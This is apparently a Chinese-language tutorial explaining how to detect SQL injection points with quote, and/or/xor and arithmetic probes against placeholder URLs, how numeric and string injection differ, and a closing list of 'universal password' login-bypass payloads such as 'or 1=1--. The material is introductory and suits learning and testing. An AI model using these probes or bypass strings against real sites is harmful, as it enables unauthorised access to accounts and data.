目录

SQL注入漏洞的类型

1.数字型判断

2.字符型判断 

SQL注入--万能密码


SQL注入漏洞的类型


1.单引号判断

http://www.xxx.com/xxx.asp?id=10' 如果出现错误提示,则该网站可能就存在注入漏洞。

2.and判断
    http://www.xxx.com/xxx.asp?id=10'and 1=1这个条件永远都是真的,所以当然返回是正常页
    http://www.xxx.com/xxx.asp?id=10'and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。

3.Or判断(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)
    http://www.xxx.com/xxx.asp?id=10'or 1=1
    http://www.xxx.com/xxx.asp?id=10'or 1=2

4.xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。)
    http://www.xxx.com/xxx.asp?id=10'xor 1=1
    http://www.xxx.com/xxx.asp?id=10'xor 1=2

5.加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.)
    http://www.xxx.com/xxx.asp?id=10-0     http://www.xxx.com/xxx.asp?id=10-1
    http://www.xxx.com/xxx.asp?id=10+1

        and,or,xor等判断可以参考这三种逻辑运算的规律进行理解

sql注入漏洞通常为2种

  • 数字型
  • 字符型

1.数字型判断


        当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

  • Url 地址中输入 http://xxx/abc.php?id= x and 1=1
  • Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

我们输入的是 x and 1=1 和x and 1=2

语句就是这样:

select* from …… where id=x and 1=1

select* from …… where id=x and 1=2

and左边的x是返回成功的,因为如果不存在后面也没法进行,而1=1是成立的,所以页面运行正常。如果是1=2,不成立,同时and语句的判断逻辑是只要有一个不成立,就返回失败,所以运行错误。

2.字符型判断 


select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断。

这里就使上面的数字型变为了字符型

而语句则是

select * from <表名> where id = 'x' and ‘1’='1'

这时候sql已经闭合了

还是一样的,这里and的左边是一定成立的,而and右边也是一样的成立,所以and逻辑之后,整个语句返回成功
同理可知如果后面是1'='2就会返回失败,而且这里不一定非要是1或者2,因为是字符型,所以我们可以输入任何字符,如a'='a,a'='b

SQL注入--万能密码


java如何判断sql注入问题 sql注入的判断_sql

万能密码类似形式 

“or"a”="a
')or(‘a’='a
")or(“a”="a
‘or 1=1–
“or 1=1–
'or”=’
'or 1=1%00
'or 1=1/
admin’ or 1=1/*